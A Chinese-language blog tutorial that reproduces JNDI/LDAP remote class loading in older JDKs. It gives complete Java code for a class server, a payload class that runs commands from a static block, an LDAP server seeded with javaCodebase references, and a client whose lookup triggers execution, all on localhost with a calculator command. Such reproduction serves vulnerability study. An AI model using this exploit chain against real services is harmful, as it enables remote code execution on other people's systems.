这篇的核心是javaCodebase从外部加载恶意类,但是 是用 javax.naming.Context的lookup方法加ldap协议触发。
但是仅限Oracle JDK 11.0.1、8u191、7u201、6u211之前的JDK,否则需要手动打开属性:
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");
这里 是引用的 https://paper.seebug.org/1091/#jndildap 的说法,但是jdk 7 最高只到了80,因此 7u201、6u211 这两个可能不对,仅供参考。我在jdk8u172和jdk8u20都测试通过了。

下面上测试代码。
恶意的HTTP Server
用于感染的服务通过javaCodebase从这里加载恶意的外部类。
http server:
package com.hans.httpServer;
import com.sun.net.httpserver.HttpExchange;
import com.sun.net.httpserver.HttpHandler;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.net.InetSocketAddress;
/*
* 你客户端缺什么类到我这个Http服务上来拿
* https://paper.seebug.org/1091/
* 1. First start http server
* */
public class HttpServer implements HttpHandler {
public void handle(HttpExchange httpExchange) {
try {
System.out.println("new http request from " + httpExchange.getRemoteAddress() + " " + httpExchange.getRequestURI());
InputStream inputStream = HttpServer.class.getResourceAsStream(httpExchange.getRequestURI().getPath());
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
while (inputStream.available() > 0) {
byteArrayOutputStream.write(inputStream.read());
}
byte[] bytes = byteArrayOutputStream.toByteArray();
httpExchange.sendResponseHeaders(200, bytes.length);
httpExchange.getResponseBody().write(bytes);
httpExchange.close();
} catch (Exception e) {
e.printStackTrace();
}
}
public static void main(String args[]) throws IOException {
com.sun.net.httpserver.HttpServer httpServer = com.sun.net.httpserver.HttpServer.create(new InetSocketAddress(8000), 0);
System.out.println("String HTTP Server on port: 8000");
httpServer.createContext("/", new HttpServer());
httpServer.setExecutor(null);
httpServer.start();
}
}
恶意的类:
package com.hans.remoteClass;
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.io.BufferedInputStream;
import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.io.Serializable;
import java.util.Hashtable;
public class ExportObject implements ObjectFactory, Serializable {
private static final long serialVersionUID = 1L;
static {
//这里由于在static代码块中,无法直接抛异常外带数据,不过在static中应该也有其他方式外带数据。没写在构造函数中是因为项目中有些利用方式不会调用构造参数,所以为了方标直接写在static代码块中所有远程加载类的地方都会调用static代码块
try {
// run command on kali
exec("gnome-calculator");
// run command on windows
//exec("calc");
} catch (Exception e) {
e.printStackTrace();
}
}
public static void exec(String cmd) throws Exception {
String sb = "";
BufferedInputStream in = new BufferedInputStream(Runtime.getRuntime().exec(cmd).getInputStream());
BufferedReader inBr = new BufferedReader(new InputStreamReader(in));
String lineStr;
while ((lineStr = inBr.readLine()) != null)
sb += lineStr + "\n";
inBr.close();
in.close();
// throw new Exception(sb);
}
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
return null;
}
}
启动com.hans.httpServer.HttpServer 即可通过 curl “http://localhost:8000/com/hans/remoteClass/ExportObject.class” 请求到恶意类。
LDAP服务
先开一个正常的LDAP服务:
package com.hans.ldapServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.io.IOException;
import java.net.InetAddress;
/**
* LDAP server implementation returning JNDI references
*
* @author mbechler
*/
public class LDAPRefServer {
private static final String LDAP_BASE = "dc=example,dc=com";
public static void main(String[] args) throws IOException {
int port = 1389;
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen", //$NON-NLS-1$
InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
config.setSchema(null);
config.setEnforceAttributeSyntaxCompliance(false);
config.setEnforceSingleStructuralObjectClass(false);
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
ds.add("dn: " + "dc=example,dc=com", "objectClass: top", "objectclass: domain");
ds.add("dn: " + "ou=employees,dc=example,dc=com", "objectClass: organizationalUnit", "objectClass: top");
ds.add("dn: " + "uid=hans,ou=employees,dc=example,dc=com", "objectClass: ExportObject");
System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
ds.startListening();
} catch (Exception e) {
e.printStackTrace();
}
}
}
再向ldap服务插入数据:
package com.hans.ldapServer;
import javax.naming.Context;
import javax.naming.NamingException;
import javax.naming.directory.*;
import java.rmi.RemoteException;
import java.util.Hashtable;
/*
* It works for LdapLookupPayload.java
* */
public class LDAPServer2 {
public static void main(String[] args) throws NamingException, RemoteException {
Hashtable<String, String> env = new Hashtable<String, String>();
env.put(Context.INITIAL_CONTEXT_FACTORY,
"com.sun.jndi.ldap.LdapCtxFactory");
env.put(Context.PROVIDER_URL, "ldap://localhost:1389");
DirContext ctx = new InitialDirContext(env);
Attribute mod1 = new BasicAttribute("objectClass", "top");
mod1.add("javaNamingReference");
Attribute mod2 = new BasicAttribute("javaCodebase",
"http://127.0.0.1:8000/");
Attribute mod3 = new BasicAttribute("javaClassName",
"PayloadObject");
Attribute mod4 = new BasicAttribute("javaFactory", "com.hans.remoteClass.ExportObject");
ModificationItem[] mods = new ModificationItem[]{
new ModificationItem(DirContext.ADD_ATTRIBUTE, mod1),
new ModificationItem(DirContext.ADD_ATTRIBUTE, mod2),
new ModificationItem(DirContext.ADD_ATTRIBUTE, mod3),
new ModificationItem(DirContext.ADD_ATTRIBUTE, mod4)
};
ctx.modifyAttributes("uid=hans,ou=employees,dc=example,dc=com", mods);
}
}
受感染的Client
package com.hans.weblogicLdapExploit;
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class LdapLookupPayload {
public static void main(String[] args) throws NamingException {
// 最新的JDK需开启这个属性
//System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");
Context ctx = new InitialContext();
Object object = ctx.lookup("ldap://127.0.0.1:1389/uid=hans,ou=employees,dc=example,dc=com");
}
}
- 启动 HttpServer
- 启动LDAPRefServer
- 启动LDAPServer2向LDAP Server注入数据
- 启动LdapLookupPayload 触发漏洞。
可以看到 InitialContext()初始化出来的Content对象,在受影响的jdk中,是存在漏洞的,若lookup的参数可受用户控制,可以造成远程代码执行。
请参考 https://paper.seebug.org/1091/#jndildap 该文章的内容。